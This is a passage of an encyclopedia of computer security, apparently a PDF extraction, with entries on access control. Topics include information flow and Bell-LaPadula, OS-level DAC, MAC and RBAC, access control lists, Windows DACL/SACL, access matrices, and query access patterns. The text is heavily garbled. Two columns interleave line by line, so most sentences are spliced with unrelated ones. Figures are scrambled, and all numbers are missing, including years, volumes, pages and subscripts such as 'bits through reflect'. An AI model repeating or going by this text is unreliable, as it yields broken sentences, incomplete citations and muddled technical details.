The role metaphor is easily accessible to most admin- ple, which is also called principle of least privilege, states
istrators, but it should be noted that the RBAC model that every subject should only have those permissions that
family provides only an extensional definition of roles, so are required for its specific tasks. In the military security
the meaning of the role concept is defined only in relation model, this principle is enforced by designating compart-
to users and permissions. Often, roles are interpreted in a ments for objects according to subject areas, e.g., nuclear.
task-oriented manner, i.e., in relation to a particular task This results in a security classification that is comprised
or set of tasks, such as an Accountant role that is used to of both the sensitivity label and the compartment, e.g.,
group the permissions for accounting. In principle, how- nuclear, secret. Subjects may have different clearance
ever, any concept that is perceived as useful for grouping levels for different compartments.
users and permissions can be used as a role, even purely The terms discretionary access control (DAC) and
structural user groups such as IT-Department. Finding a mandatory access control (MAC) originated in the mil-
suitable intensional definition is often an important pre- itary security model, where performing some kinds of
requisite for modelling practical, real-life security policies controls was required to meet legal requirements (manda-
in terms of roles. tory), namely, that classified information may only be
seen by subjects with sufficient clearance. Other parts of
Information Flow Models the model, namely, determining whether a given subject
The basic access matrix model can restrict the release of with sufficient clearance also needs to know the informa-
data, but it cannot enforce restrictions on the propagation tion, involves some discretion (discretionary).
of data after it has been read by a subject. Another approach The military security model (without compartmental-
to control the dissemination of information more tightly ization) was formalized by []. This model defined two
is based on specifying security not in terms of individual central security properties: the simple security property
access attempts, but rather in terms of the information flow (subjects may only read-access objects with a classification
between objects. The focus is thus not on protecting objects at or below their own clearance) and the star-property or
themselves, but the information contained within (and *-property (subjects may not write to objects with a
exchanged between) objects. An introduction to informa- classification below the subjects current security level).
tion flow models can be found in []. The latter property ensures that a subject may not read
Since military security has traditionally been more information of a given sensitivity and write that infor-
concerned with controlling the release and propagation mation to another object at a lower sensitivity level, thus
Access Control from an OS Security Perspective A
downgrading the original sensitivity level of the infor- . Sandhu RS (November ) Lattice-based access control mod-
mation. The model of [] also included an ownership els. IEEE Comput ():
. Bell DE, LaPadula LJ (May ) Secure computer systems: a
attribute for objects and the option to extend access to an
object to another subject. The model was refined in [] to
mathematical model. Mitre Technical Report , Volume II A
. Biba KJ () Integrity considerations for secure computer
address additional integrity requirements. systems. Mitre Technical Report
The permitted flow of information in a system can also . Denning DE () A lattice model of secure information flow.
more naturally be modelled as a lattice of security classes. Commun ACM ():
These classes correspond to the security labels introduced
above and are partially ordered by a flow relation [].
The set of security classes forms a lattice under because
a least upper bound and a greatest lower bound can be Access Control from an OS
defined using a join operator on security classes. Objects Security Perspective
are bound to these security classes. Information may flow
from object a to b through any sequence of operations Hakki C. Cankaya
if and only if A B, where A and B are the objects Department of Computer Engineering, Izmir University
security classes. In this model, a system is secure if no flow of Economics, Izmir, Turkey
of information violates the flow relation.
Recommended Reading Synonyms

. Saltzer JH, Schroeder MD (September ) The protection
Access control
of information in computer systems. Proceedings of the IEEE
(): Related Conceptsh
. Clark DD, Wilson DR () A comparison of commercial and Access Control Lists; Access Control Matrix;
military computer security policies. In Proceedings of the IEEE
Authentication; Authorization; Capability List;
Symposium on Security and Privacy, pp
. Brewer D, Nash M () The Chinese wall security policy. In Confidentiality; Identification; Integrity; Secrecy
Proceedings of the IEEE Symposium on Security and Privacy,
pp Denition
. Landwehr CE (September ) Formal models for computer Access control for an operating system determines how the
security. ACM Comput Surv ():
. Lampson BW (January ) Protection. ACM Operating Syst
operating system implements accesses to system resources
Rev (): by satisfying the security objectives of integrity, availability,
. Harrison MH, Ruzzo WL, Ullman JD () Protection in oper- and secrecy. Such a mechanism authorizes subjects (e.g.,
ating systems. Commun ACM (): processes and users) to perform certain operations (e.g.,
. Griffiths PP, Wade BW (September ) An authorization read, write) on objects and resources of the OS (e.g., files,
mechanism for a relational database system. ACM Trans
Database Syst ():
sockets).
. Fagin R (September ) On an authorization mechanism.
ACM Trans Database Syst (): Background
. Lampson BW, Abadi M, Burrows M, Wobber E (November ) Operating system is the main software between the users
Authentication in distributed systems: theory and practice.
and the computing system resources that manage tasks
ACM Trans Comput Syst ():
. Dennis JB, Van Horn EC (March ) Programming seman-
and programs. Resources may include files, sockets, CPU,
tics for multiprogrammed computations. Commun ACM (): memory, disks, timers, network, etc. System administra-
tors, developers, regular users, guests, and even hackers
. Fabry RS () Capability-based addressing. Commum ACM could be the users of the computing system. Informa-
():
tion security is an important issue for an operating system
. Linden TA (December ) Operating system structures to
support security and reliable software. ACM Comput Surv
due to its multiple-user-multiple-resource nature. Like any
(): other secure system, a secure operating system requires
. Levy HM () Capability-based computer systems. Digital access control to achieve main security goals of integrity,
Press, Maynard availability, and secrecy. Secrecy limits the access to confi-
. Ellison CM, Frantz B, Lampson B, Rivest R, Thomas BM,
dential resources, where integrity limits the operations on
Ylnen T (September ) SPKI certificate theory. RFC
. Sandhu RS, Coyne EJ, Feinstein HL, Youman CE (February
resources by different users because these resources may
) Role-based access control models. IEEE Comput (): include information that is used by other resources. Avail-
ability is also concerned with the access of resources in
A Access Control from an OS Security Perspective
objects
obj1 obj2 objM
sub1 read own
subjects
sub2 read, write

subN
Access Control from an OS Security Perspective. Fig. Example access control matrix
time domain. Some users may try to abuse the usage of where a cell represents a protection state c for a subject
resources while creating unavailability to the rest of the sys- s = sub and object o = obj, c = {read,write} in Fig. .
tem. Access control offers different mechanisms to secure Protection state operators are used to modify the
operating system to satisfy these security goals. matrix for creating/deleting new/existing subjects and/or
Fundamentals of access control are concerned with: objects. These special operators have access rights to
objects they create. In addition to regular operations like
. Which resource can be used by a process?
read and write, the protection state may have special oper-
. Which user can use the resources and at what extent?
ators that perform ownership on a particular object. For
. Which programs can a user run?
example, say a file object, obj, is owned by a subject sub,
depicted by f(sub,obj) = {own} in Fig. , then sub can
Theory modify the other protection states of the object obj, for
In general, access control is a mechanism to regulate the example f(sub,obj) = {write} and f(subN,obj) = {read}.
requests from subjects to perform certain operations on Similarly, if the owner subject may chose to add ownership
objects and resources. An object is an entity that con- rights to other subjects, then a ripple effect could make the
tains information. Access to an object implies accessing to entire object vulnerable to any subject. The matrix can also
the information. In an operating system, files, directories, be used to define protection domains where a set of objects
directory trees, processors, and discs are the examples of with the same access rights can be associated to a subject.
objects. A subject constitutes an active entity that causes Another mechanism to represent protection states is to
the system state to change. In an operating system envi- use access control list (ACL), where each object has a list
ronment, a subject can be a system user, a process, or any of subjects to which it has the access rights. The other rep-
entity that invokes an information change or flow. Opera- resentation uses the list of objects that have access rights to
tion is an active process that causes a progress on an object a subject, called capability list, or C-list. These special lists
invoked by a subject. For example, modifying data in a file are beneficial when the access control matrix is sparse with
by a user can be considered as an operation in an operating few elements.
system environment. Regardless of its representation, there are different
In an operating system, access control has two fun- forms of access control models: () discretion access con-
damental parts: () Protection System and () Reference trol (DAC), () mandatory access control (MAC), and ()
Monitor. Protection System defines the specifications of role-based access control (RBAC) model.
the access rights which are enforced by the reference mon- In discretion access control, an owner subject can
itor. Protection system is made up of protection state and change the protection state of other subjects for the owned
protection state operators. Protection state keeps track of object, having discretion for the access control. This model
the operations that are allowed for a subject to perform could be problematic as an untrusted subject could abuse
on a system object. Protection state operators, on the other its discretion and breach the safety of the system. There-
hand, perform modifications on protection states. fore, DAC cannot fully accomplish the security goals of
Assume a set of all subjects S where s S, a set of all secrecy and integrity.
objects O where o O, and a set of all operations P where In order for a protection system to comply with
p P. A protection state for a subject s and an object o is secrecy and integrity, there needs to be an enforce-
determined by a function f (s , o ) = c where c P. ment of such security goals. For example, any untrusted
A protection system can be implemented by using dif- subject should not be able to perform protection state
ferent mechanisms. One mechanism is to use a matrix of all operations. Protection system with such enforcements is
subjects and objects, called access control matrix (ACM), called mandatory access control (MAC) system in which
Access Control Lists A
modifications can only be made by trusted entities, like policies. There are also many applications areas for access
system administrators using trusted software. In MAC, control in general rather than using just for operating
protection states are controlled by subject and object labels. systems.
Operations in the protection states are allowed only if there
A
are matching labels of subjects and objects. For example, Open Problems and Future Directions
an object labeled as secret cannot be accessed by a sub- In DAC, it is assumed that all software is correct and bug-
ject labeled as untrusted. A label represents an abstract free; however, this is not the case in todays computing
identifier and is defined by the system administrator which environments. MAC on the other hand is too complicated
is considered as a trusted entity. No user is allowed to and cumbersome to system administrators forcing them
change the labels. Label assignments and transitions can be to conveniently disable many features. It is an open prob-
done dynamically as new objects and subjects are created lem to hit a balance between DAC and MAC in terms
or modified in the system. For example, when an object of security and flexibility. Current studies include making
with label trusted is modified by a subject with label DAC protected against Trojan Horses and other malware
untrusted, the object label is automatically changed to that can otherwise exploit the system bugs. For RBAC,
untrusted. efficient and dynamic role assignment, role mining, and
The mechanism that enforces the defined access con- coping with cyclic hierarchy and constraints are interesting
trol is called reference monitor, which takes all access problems in the field.
requests and authorizes these requests if they comply
with policies. Therefore, reference monitoring maintains Recommended Reading
. Jaeger T () Operating system security, Synthesis lectures on
a policy database where all policies for protection states,
information security, privacy, and trust. Morgan & Claypool Pub-
labels (if used), and transition states are stored. When lishers, ():, doi:./SEDVYSPT
authentication request is received, the associated labels . Stamp M () Information security: principles and practice.
are checked and the decision is made. Similarly, label and Wiley, Hoboken
access right transition requests are also handled by refer- . Palmer M, Walters M () Guide to operating systems:
enhanced edition. Thomson Course Technology, Boston
ence monitoring.
. Sandbu RS () Role-based access control. ACM, New York,
Role-based access control (RBAC) uses the concept of pp
roles for subjects, where a role is associated with certain . Yi XJ, Yin H, XiTao Z () Security analysis of mandatory
access rights and permissions. A subject may be assigned access control model. In: Proceedings of the IEEE inter-
multiple roles. To access an object, the subject first needs national conference on systems, man and cybernetics. IEEE,
Piscataway, pp
to have the right role that grants the access to the desired
. Li N () How to make discretionary access control secure
object. Role hierarchy helps the system organize the inher- against trojan horses. In: Proceedings of the IEEE international
itance of certain rights to be used by the subjects. symposium on parallel and distributed processing, IEEE, Piscat-
away, pp
Applications . Liu S, Huang H () Role-based access control for distributed
cooperation environment. In: International conference on com-
In general, commercial operating systems use discre-
putational intelligence and security, CIS , vol . IEEE, Los
tionary access control (DAC) with access control list (ACL) Alamitos, pp
implementation to provide protection to system resources.
Among these are most MS Windows operating systems
(XP, NT, etc.) and UNIX/LINUX varieties. Some Windows
servers (Server ) use role-based access control (RBAC)
with both ACL and capability-list implementations. This Access Control Lists
general trend of using DAC with its security weaknesses
due to its flexibility creates vulnerabilities for many of the Hakki C. Cankaya
operating systems. A malicious software can easily exploit Department of Computer Engineering, Izmir University
these weaknesses and propagate itself to many other hosts of Economics, Izmir, Turkey
and resources. As a trade-off, mandatory access control
(MAC) is used in some of the operating systems to alleviate Synonyms
these weaknesses. SE-Linux (Security-Enhanced Linux) is Access lists
proposed by National Security Agency (NSA) and uses
MAC. It provides more security; however, it is difficult Related Concepts
to configure as it uses numerous objects, operations, and Access Control from as OS Security Perspective
A Access Control Lists
Denition objects of a computer system. This requires proper descrip-

Access Control List (ACL) is a list of permissions asso- tion of subjects, objects, and access rights. The ACL is a
ciated with an object. It describes the access rights of an generic framework that can be applied to various com-
object for a list of subjects. puter systems, such as operating systems, databases, etc.
Depending on the area of application, the components of
Background an Access Control List may take different names. For exam-
Access control in computer systems is a universal prob- ple, in an operating system ACL, the objects are files, direc-
lem. It explores the means of granting/rejecting access with tories, I/O devices, etc. Meanwhile, for a database ACL,
particular rights (such as read, write, execute) to subjects the objects are in the form of database tables (relations),
on certain objects. The concept of access control is generic views, etc. Furthermore, subjects can be either individu-
in the sense that it can be applied to many systems in a als or groups in regards to the specific application the ACL
computerized environment. For example, in the case of an is used.
operating system, the subjects are users and the objects Figure shows a simple ACL scheme for an operating
are files, programs, peripheral devices, etc., while for a system. In the figure, the set of objects has five elements as
database system, objects are listed as tables, queries, and {O , O , O , O , O }, the set of subjects has six elements
procedures. as {S , S , S , S , S , S }, and there are three access rights
As computer systems become more complex with possible for the system, which are listed as: {O: Owner, R:
rapidly developing technology, access control is becom- Read, W: Write}.
ing more important. Because controlling access in the first ACL practically presents a subset of the Access Matrix.
hand is the actual gateway to the system, a malfunctioning With ACL, one can instantaneously examine the autho-
mechanism will allow unintended parties to have legiti- rizations associated with a certain object. In the example
mate access to system resources. In order to avoid such cir- ACL in Fig. , we can directly obtain the fact that the object
cumstances, many access control models are introduced. O can be accessed with ORW access rights by the subjects
The oldest and simplest of such models is the Access S and S , and with RW access rights by S .
Control Matrix that was developed by Lampson in . Whereas, listing authorizations associated with a
It implements a discretionary access control mechanism subject in ACL involves a relatively complex search of
where the decision to transfer access rights to other sub-
ject(s) is left to the subjects discretion. The Access Matrix
is a simple matrix that contains current authorizations
Object Access List Pointer
of subjects on objects. It is a two dimensional matrix
O1 PTR1
where rows denote the subjects (indicated by S), columns Subject Access Rights
O2 PTR2
denote objects (indicated by O), and an Access Matrix S1 ORW
entry [Si , Oj ] describes the access right(s) of subject Si on O3 PTR3
S2 RW
object Oj . O4 PTR4
There are other access control models that are based S3 ORW
O5 PTR5
on the Access Matrix itself. Authorization table, for exam-
ple, takes the non-empty cells of the Access Matrix and S2 ORW
lists them in a three tuple format as {subject, access right, S3 R
object}. Capability is another access control mechanism.
Based on the row-wise representation of the Access Matrix, S1 RW
it stores a separate list (called as capability) for each subject,
where each capability stores the access right(s) a subject S S3 R
has on object O. S4 ORW
Similarly, Access Control List (ACL) represents the
Access Matrix in a column-wise manner and stores a sep-
S1 RW
arate ACL for each object. These lists associate each object
with certain access right(s) to subject(s) in a system. S4 ORW
S5 R
Theory S6 R
Essentially, the Access Control List (ACL) is a protec-
tion mechanism that defines access rights for subjects on Access Control Lists. Fig. Access Control List (ACL)
Access Control Lists A
individual ACLs for all objects. As the number of objects Access Control Entries, Access Mask field to specify the
grows, the complexity of this search increases. In the sam- access rights being granted/denied/audited, the Type field
ple ACLs in the figure above, in order to get the autho- that takes a positive (+) value, if a permission is granted
rizations that are granted to subject S , we need to search and takes a minus () value if it is denied, and the
A
ACLs of all objects to conclude that S has ORW access flags field to determine how the current entry participates
rights on O , RW access rights on O , and RW access rights in the ACL inheritance in case of hierarchical objects.
on O . These flags can be one or combination of the follow-
ACL also provides a finer-grained access control by ing: container inherit, object inherit, inherit only and no
adaptively changing subject authorizations that is based on propagation.
the context. In Windows, users can modify access rights of objects
at their own discretion through Discretionary Access Con-
Applications trol List (DACL). Figure illustrates an example DACL
ACL is a general access control scheme that can be applied implementation: User candan can add/remove permis-
to different environments. It finds its implementation in sions on the object exam.docx via Windows security.
network systems, various operating systems (e.g., Win- Moreover, he or she can modify the current permissions
dows ACL, Unix Posix ACL, etc.), and database ACLs. by further clicking on Edit.
For Windows, the ACL is used for two purposes: () to SACL is another Access Control List type, and it
control access to the system, and () for auditing purposes. specifies the audit policy for an object. The SACL
The former is achieved via Discretionary Access Control consists of an SID field to uniquely identify Access
List (DACL), and the latter is achieved by using System Control Entries, Access Mask to specify permissions
Access Control List (SACL). granted/audited/denied, and the Audit Success and Audit
The ACL contains a list of Access Control Entries Failure fields. As an example, let us assume that an ACE
(ACE). Conceptually, each entry is a record with identifying for SACL is: Students, xDC, N, Y. If the operating system
fields as SID (Security ID) which uniquely identifies the receives a request to open this object with the permissions
Access Control Lists. Fig. Discretionary access control list (DACL) in windows
A Access Control Matrix
indicated at the address mask xDC, with the token for cyberinfrastructure and tools held in conjunction with ACM
the request having Student as SID and the request is denied, CHI , April
. Pfleeger CP, Pfleeger SL () Security in computing rd edn.
then an audit is created in the security event log. Since
Prentice Hall, Upper Saddle River
Audit Success field is N (meaning No), a granted request . Samarati P, Capitani de Vimercati S () Access control: poli-
will not be audited for this record. cies, models, and mechanisms. Lecture notes in computer sci-
Other operating systems such as UNIX and LINUX ence, vol . Springer, Berlin, pp
also implement ACL by employing a bitwise protec- . Grout V, Davies JN () A simplified method for optimising
sequentially processed access control lists. In: The proceedings
tion scheme that involves ogu (owner, group, user)
of the sixth advanced international conference on telecommuni-
permissions. cations (AICT). May , . Barcelona, Spain, pp
In the case of networking ACLs, the routers can be . Bhatt PC () An introduction to operating systems: concepts
configured to act as firewalls by using rule definitions and practice, rd edn. PHI Learning Private Limited, New Delhi,
to filter inbound and/or outbound traffic. Therefore, net- ISBN: --
working ACLs imitate firewall operations. Using ACL for
network filtering purposes improve network performance
and provide extra security.
Access Control Matrix
Open Problems and Future Directions
Access control involves complex user identification mech- Aaron Estes
anisms and subject, object, and permission designations. Department of Computer Science and Engineering, Lyle
Access Control List (ACL) is a conventional method for School of Engineering, Southern Methodist University,
providing access control. It employs lists that are associated Dallas, TX, USA
with each object to store permissions granted to subjects.
Access control lists (ACLs) are straightforward to Synonyms
implement. With ACLs, one can easily determine the sub- Access matrix; ACM
jects and their permissions on a particular object. But
retrieving all permissions for a particular subject involves Related Concepts
a long search of list traversal, which would most probably Access Control Models; Access Controls;
get impractical in large systems with many subjects. Access Bell-LaPadula Confidentiality Model; Discretionary
policy modifications are hard to implement, and most ACL Access Control; Mandatory Access Control
schemes are platform specific.
As an alternative to achieving access control with Denition
Access Control Lists (ACLs), trust negotiation systems are An Access Control Matrix is a table that maps the permis-
introduced. The trust negotiation systems designate access sions of a set of subjects to act upon a set of objects within
policies for objects as declarative specification of the prop- a system. The matrix is a two-dimensional table with sub-
erties that an authorized subject should possess to have jects down the columns and objects across the rows. The
access to particular object(s). The key advantage of such permissions of the subject to act upon a particular object
systems is that access control decisions are made without are found in the cell that maps the subject to that object.
even knowing the identity of the requesting subject. Fur-
thermore, incremental trust establishment is possible in Background
trust negotiation systems: subject and object provider can The concept of an Access Control Matrix was formalized
disclose more credentials in time in the s in order to help accurately describe the pro-
tection state of a system. This simple model reflected the
Recommended Reading access control logic of the operating systems of that time.
. Hu VC, Ferraiolo DF, Kuhn DR () Assessment of access con- Since then, the concept has been expanded and has mor-
trol systems. NIST Interagency Report , National Institute of phed into various other access control models that can
Standards and Technology, Gaithersburg, MD handle complex access control logic such as state depen-
. Lampson BW () Protection. In: Proceedings of the th Prince- dent access control and hierarchical access control.
ton conference on information sciences and systems, Prince-
ton. Reprinted in ACM Operating Systems Rev (Jan )
():
Application
. Lee AJ, Winslett M () Open problems for usable and In order to secure a system, it is important to enumerate all
secure open systems, usability research challenges for assets and specify what access each system actor has to each
Access Control Policies, Models, and Mechanisms A
of those assets. An access control matrix not only serves to with similar functionalities to traditional operating sys-
lock down access to critical assets, but also serves to high- tems. Create, read, update and delete (CRUD) is another
light potential risk areas that may need further scrutiny widely used set of privileges used commonly with appli-
and/or security controls. A system with too strict an access cation data objects. The set of privileges depends on the
A
control policy may not work as expected, while a system capabilities of the system and which of those capabilities
with too generous a policy may create an undue amount of needs to be controlled.
security risk. An access control matrix helps strike a bal-
ance between these seemingly opposing goals. An access Recommended Reading
control matrix, when well maintained, also serves to pre- . Lampson BW () Protection. In: Proceedings of the th Prince-
vent privilege creep, which is a condition where systems ton conference on Information Sciences and Systems. Princeton
University, p
tend toward more lenient access controls over time rather
. Bishop M () Computer security art and science, Addison
than stricter access controls. Wesley Professional
Figure depicts a generic access control matrix. Sub- . Saltzer JH, Schroeder MD (September ) The protection
jects appear down the row headers and objects across the of information in computer systems. Proceedings of the IEEE
column headers of the table. Each cell in the table identi- ():
. Smith S, Marchesini J () The craft of system security, Addi-
fies the set of privileges for the corresponding subject on
son Wesley Professional
the corresponding object. Any number of privileges or no
privileges can be identified for each subject on each object.
An important concept in access control matrices is that
subjects can also act as objects and can therefore appear
both as a column header and a row header. That is, subject Access Control Policies, Models,
may act upon other subjects with certain privileges. For and Mechanisms
instance, a process may act upon another process, which
is in turn acting upon a data object. Sabrina De Capitani di Vimercati
Dipartimento di Tecnologie dellInformazione (DTI),
While the concept of creating an access control matrix
is straightforward, determining what access each subject Universit degli Studi di Milano, Crema (CR), Italy
should have on each object is tedious and sometimes
ambiguous. Each system use case must be carefully under- Related Concepts
stood in order to properly specify the correct privileges. In Discretionary Access Control Policies (DAC);
many cases after implementing the access control matrix, Mandatory Access Control Policy (MAC); Role-Based
system capabilities are broken because of misallocation Access Control Policies (RBAC)
of privileges and rights leading to subjects that cannot
act upon objects in the required manner. Privilege sets Denition
vary from system to system. Traditionally, read, write, The development of an access control system requires the
and execute are used for many access control matrices definition of the high-level rules (policies) used to ver-
especially those related to operating systems or platforms ify whether an access request is to be granted or denied.
A policy is then formalized through a security model and
is enforced by an access control mechanism.
Objects
O1 O2 O3 On Background
S1 P1,1 P12 P1,3 An important requirement of any computer system is to
protect its data and resources against unauthorized disclo-
S2 P2,1 P2,2 P2,3
sure (secrecy) and unauthorized or improper modifications
S3 ... (integrity), while at the same time ensuring their avail-
Subjects
ability to legitimate users (no denials of service) []. The

problem of ensuring protection has existed since infor-
...
mation has been managed. A fundamental component in

enforcing protection is represented by the access control
Sn service. Access control is the process of controlling every
request to a system and determining, based on specified
Access Control Matrix. Fig. Access Control Matrix rules (authorizations), whether the request should be
A Access Control Rules
granted or denied. A system can implement access con- by the need to cope with possible security weaknesses due
trol in many places and at different levels. For instance, to the implementation itself and by the difficulty of map-
operating systems use access control to protect files and ping the access control primitives to a computer system.
directories, and database management systems (DBMSs) The access control mechanism must work as a reference
apply access control to regulate access to tables and views. monitor, that is, a trusted component intercepting each
and every request to the system [].
Theory
The development of an access control system is usually car- Recommended Reading
ried out with a multiphase approach based on the following . Anderson JP () Computer security technology planning
three concepts []: study. Technical Report ESD-TR--. Electronic System
Division/AFSC, Bedford, MA, October
Security policy. It defines the (high-level) rules accord- . Landwehr CE () Formal models for computer security. ACM
ing to which access control must be regulated. Often, Comput Surv ():
the term policy is also used to refer to particular . Samarati P, De Capitani di Vimercati S () Access control:
policies, models, and mechanisms. In: Focardi R, Gorrieri R
instances of a policy, that is, actual authorizations and
(eds) Foundations of security analysis and design. Lecture notes
access restrictions to be enforced (e.g., Employees can in computer science, vol . Springer, Heidelberg
read bulletin-board).
Security model. It provides a formal representation of
the access control security policy and its working. The
formalization permits the proof of properties on the
security provided by the access control system being
Access Control Rules
designed.
Authorizations
Security mechanism. It defines the low-level (software
and hardware) functions that implement the controls
imposed by the policy and formally stated in the model.
These three concepts correspond to a conceptual sepa- Access Limitation
ration between different levels of abstraction of the design
and provide the traditional advantages of a multiphase Access Pattern
software development process. In particular, the separation
between policies and mechanisms introduces an indepen-
dence between protection requirements to be enforced on Access Lists
one side, and mechanisms enforcing them on the other
side. It is then possible to: () discuss protection require- Access Control Lists
ments independently of their implementation; () com-
pare different access control policies as well as different
mechanisms that enforce the same policy; and () design
mechanisms able to enforce multiple policies. This latter Access Matrix
aspect is particularly important: if a mechanism is tied
to a specific policy, a change in the policy would require Sabrina De Capitani di Vimercati
changing the whole access control system; mechanisms Dipartimento di Tecnologie dellInformazione (DTI),
able to enforce multiple policies avoid this drawback. The Universit degli Studi di Milano, Crema (CR), Italy
formalization phase between the policy definition and its
implementation as a mechanism allows the definition of
a formal model representing the policy and its working, Related Concepts
making it possible to define and prove security properties Access Control Matrix;Access Control Policies,Models,
that systems enforcing the model will enjoy []. There- Mechanisms; Discretionary Access Control Policies
fore, by proving that the model is secure and that the (DAC)
mechanism correctly implements the model, it is possible to
argue that the system is secure (with respect to the defini- Denition
tion of security considered). The implementation of a cor- An access matrix represents the set of authorizations
rect mechanism is far from being trivial and is complicated defined at a given time in the system.
Access Matrix A
Background following three approaches for implementing the access

The access matrix model provides a framework for describ- matrix in a practical way.
ing discretionary access control policies. First proposed
by Lampson [] for the protection of resources within the
Authorization Table. Nonempty entries of the matrix A
are reported in a table with three columns, corre-
context of operating systems, and later refined by Graham
sponding to subjects, actions, and objects, respectively.
and Denning [], the model was subsequently formalized
Each tuple in the table corresponds to an authoriza-
by Harrison, Ruzzo, and Ullmann (HRU model) [], who
tion. The authorization table approach is generally used
developed the access control model proposed by Lamp-
in DBMS systems, where authorizations are stored as
son to the goal of analyzing the complexity of determin-
catalogs (relational tables) of the database.
ing an access control policy. The original model is called
Access Control List (ACL). The matrix is stored by col-
access matrix since the authorization state, meaning the
umn. Each object is associated with a list indicating, for
authorizations holding at a given time in the system,
each subject, the actions that the subject can exercise
is represented as a matrix. The matrix therefore gives an
on the object.
abstract representation of protection systems.
Capability. The matrix is stored by row. Each user has
associated a list, called capability list, indicating, for
Theory and Application each object, the accesses that the user is allowed to
In the access matrix model [], the state of the system is exercise on the object.
defined by a triple (S, O, A), where S is the set of sub- Figure illustrates the authorization table, ACLs,
jects, who can exercise privileges; O is the set of objects, and capabilities, respectively, corresponding to the access
on which privileges can be exercised (subjects may be con- matrix in Fig. .
sidered as objects, in which case S O); and A is the Capabilities and ACLs present advantages and disad-
access matrix, where rows correspond to subjects, columns vantages with respect to authorization control and man-
correspond to objects, and entry A[s, o] reports the privi- agement. In particular, with ACLs, it is immediate to check
leges of s on o. The type of the objects and the privileges the authorizations holding on an object, while retrieving
(actions) executable on them depend on the system. By all the authorizations of a subject requires the examination
simply providing a framework where authorizations can be of the ACLs for all the objects. Analogously, with capa-
specified, the model can accommodate different privileges. bilities, it is immediate to determine the privileges of a
For instance, in addition to the traditional read, write, subject, while retrieving all the accesses executable on an
and execute privileges, ownership (i.e., property of objects object requires the examination of all the different capa-
by subjects), and control (to model fatherchildren rela- bilities. These aspects affect the efficiency of authorization
tionships between processes) can be considered. Figure revocation upon deletion of either subjects or objects.
illustrates an example of access matrix. In a system supporting capabilities, it is sufficient for a
Although the matrix represents a good conceptualiza- subject to present the appropriate capability to gain access
tion of authorizations, it is not appropriate for implemen- to an object. This represents an advantage in distributed
tation. In a general system, the access matrix will be usually systems since it permits to avoid repeated authentica-
enormous in size and sparse (i.e., most of its cells are likely tion of a subject: a user can be authenticated at a host,
to be empty). Storing the matrix as a two-dimensional acquire the appropriate capabilities, and present them to
array is therefore a waste of memory space. There are the obtain accesses at the various servers of the system. How-
ever, capabilities are vulnerable to forgery (i.e., they can
be copied and reused by an unauthorized third party).
File 1 File 2 File 3 Program 1 Another problem in the use of capability is the enforce-
ment of revocation, meaning invalidation of capabilities
own read execute
Ann read write that have been released.
write A number of capability-based computer systems were
read
developed in the s, but did not prove to be com-
Bob read
write mercially successful. Modern operating systems typically
Carl read execute take the ACL-based approach. Some systems implement
read an abbreviated form of ACL by restricting the assignment
of authorizations to a limited number (usually one or two)
Access Matrix. Fig. An example of access matrix of named groups of users, while individual authorizations
A Access Matrix
User Action Object

Ann own File 1
Ann read File 1
Ann write File 1
Ann read File 2
Ann write File 2
Ann execute Program 1
Bob read File 1
Bob read File 3
Bob write File 3
Carl read File 2
Carl execute Program 1
a Carl read Program 1
File 1 Ann Bob Ann File 1 File 2 Program 1

own own
read read
read read execute
write write
write
File 2 Ann Carl

Bob File 1 File 3
read
write read read
read write
File 3 Bob
Carl File 2 Program 1
read
write execute
read
read
Program 1 Ann Carl
execute
execute read
b c
Access Matrix. Fig. Authorization table (a), ACLs (b), and capabilities (c) for the access matrix in Fig.
are not allowed. The advantage of this is that ACLs can be to users or groups is allowed. Authorizations are repre-
efficiently represented as small bit-vectors. For instance, in sented by associating with each object an access control
the popular Unix operating system, each user in the system list of bits: bits through reflect the privileges of the
belongs to exactly one group and each file has an owner files owner, bits through those of the user group to
(generally the user who created it) and is associated with a which the file belongs, and bits through those of all the
group (usually the group of its owner). Authorizations for other users. The three bits correspond to the read (r), write
each file can be specified for the files owner, for the group (w), and execute (x) privilege, respectively. For instance,
to which the file belongs, and for the rest of the world ACL rwxr-xx associated with a file indicates that the
(meaning all the remaining users). No explicit reference file can be read, written, and executed by its owner, read
Access Pattern A
and executed by users belonging to the group associated source accessible through a form can be seen as a rela-
with the file, and executed by all the other users. tional table on which a selection operation is requested
on certain attributes (the input attributes) by filling in val-
Recommended Reading ues in the corresponding fields. The result of the selection
A
. Graham GS, Denning PJ () Protection principles and prac- is typically provided as another Web page in which the
tice. In: AFIPS spring joint computer conference, Atlantic City, content of the other attributes of the table (the output
vol , pp
attributes) is shown. The selection made via the Web form
. Harrison MH, Ruzzo WL, Ullman JD () Protection in oper-
ating systems. Commun ACM (): helps restricting the search space at the data source and
. Lampson BW () Protection. In: Proceedings of the th Prince- avoids disclosing with a single request all the information it
ton Symposium on Information Science and Systems, Princeton contains. For example, a form of an online shop would typ-
university, p ically forbid requests that leave all fields of the form empty,
. Samarati P, De Capitani di Vimercati S () Access control:
thus prohibiting the access to all the underlying data in
policies, models, and mechanisms. In: Focardi R, Gorrieri R (eds)
Foundations of Security Analysis and Design. Lecture notes in one shot.
computer science, vol . Springer, Berlin Another context of interest is that of legacy systems,
where data may be scattered over several files and wrapped
and masked as relational tables. Such tables, typically, have
analogous limitations, expressed in terms of access pat-
Access Pattern terns, reflecting the original structure of the data, and thus
cannot be queried freely.
Davide Martinenghi Web services can also be represented in relational form
Dipartimento di Elettronica e Informazione, Politecnico with access patterns. Indeed, restrictions in the way in
di Milano, Milano, Italy which data can be accessed by invoking Web services arise
from the distinction between input parameters and output
Synonyms parameters.
Access limitation; Binding pattern
Theory
Related Concepts Query processing in all the above-mentioned contexts
Access Control Models (Web data sources, legacy systems, Web services) requires
special attention in order to always comply with the restric-
Denition tions imposed by access patterns, namely that, every time
An access pattern is a specification of an access mode for a relation is accessed, values for all its input attributes are
every attribute of a relation schema, i.e., it is an indication provided. However, such a compliance cannot be always
of which attributes are used as input and which ones are achieved with traditional query execution plans. Queries
used as output. posed over relations with access patterns can therefore be
classified according to their potential to retrieve the query
Background answers.
Limitations in the way in which relations can be accessed For the simple framework of conjunctive queries (i.e.,
were originally studied in the mid-s in the context of the select-project-join queries of relational algebra), the
logic programs with (input or output) access modes []. A mentioned classification can be illustrated as follows.
more thorough analysis of query processing issues involv- A conjunctive query can be written as an expression of
ing relations with access patterns has emerged within the form H B , . . . , Bn , where all of H (the head) and
the field of information integration during the s B , . . . , Bn (collectively called the body) are atoms; in turn,
[, , , ]. an atom is a formula of the form r(t , . . . , tm ), where r is a
relation name and each ti is a term, i.e., either a constant
Applications or a variable. An access pattern over a relation schema
Access patterns provide a coarse-grained model for the r(A , . . . , Am ) can simply be regarded as a mapping send-
